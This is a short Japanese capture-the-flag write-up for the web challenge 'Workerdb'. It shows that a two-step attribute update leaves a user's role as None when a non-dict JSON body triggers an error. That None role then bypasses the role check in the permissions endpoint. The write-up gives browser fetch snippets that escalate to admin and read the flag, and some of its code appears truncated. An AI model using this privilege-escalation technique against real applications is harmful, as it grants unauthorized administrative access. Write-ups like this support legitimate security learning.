web/Workerdb
role=adminだとフラグが取得できる。属性変更のエンドポイントupdate_settingsは次のようなコード
code:py
@app.route('/api/settings/update', methods='POST') @requires_auth
def update_settings():
try:
new_attrs = request.get_json()
...(省略)
temp_attrs = current_attrs.copy()
for key in new_attrs:
if key in current_attrs:
cursor.execute('UPDATE users SET attributes = ? WHERE id = ?', (json.dumps(temp_attrs), user_id))
db.commit()
sanitized_attrs = {}
for key, value in new_attrs.items():
if key in ALLOWED_ATTRIBUTES:
if not has_xss(value):
sanitized_attrskey = value ...(省略)
...(省略)
except sqlite3.Error:
return jsonify({"error": "Server error"}), 500
ここでroleを変更しようとしても最終的にuserに戻されてしまう。
注目すべきところはrequestがget_jsonで取得されているため、dict以外も許容されている点。また一度該当のkeyで値をNoneにし、その後新しい値を設定するという二段階構造を取っている点。
なので途中でエラーを発生させればNoneのままにすることができる。
code:python
@app.route('/api/manage/permissions', methods='POST') @requires_auth
def manage_permissions():
try:
...(省略)
if current_user_attrs.get('role') != 'user':
...(省略)
...(省略)
except sqlite3.Error:
return jsonify({"error": "Server error"}), 500
roleを変更できるエンドポイントmanage_permissionsはroleがuserでないことしかチェックしていないのでNoneだとbypassできる。よって次のコードでフラグを取得できる。
code:js
"headers": {"content-type": "application/json"},
"body": JSON.stringify("role"), "method": "POST",
"mode": "cors",
"credentials": "include"
}); // 500が返ってくる
"headers": {"content-type": "application/json"},
"body": JSON.stringify({"target_user": "test", "new_role": "admin"}),
"method": "POST",
"mode": "cors",
"credentials": "include"
}); // roleを変更する
"method": "GET",
"mode": "cors",
"credentials": "include"
});
console.log((await r.json())"flag")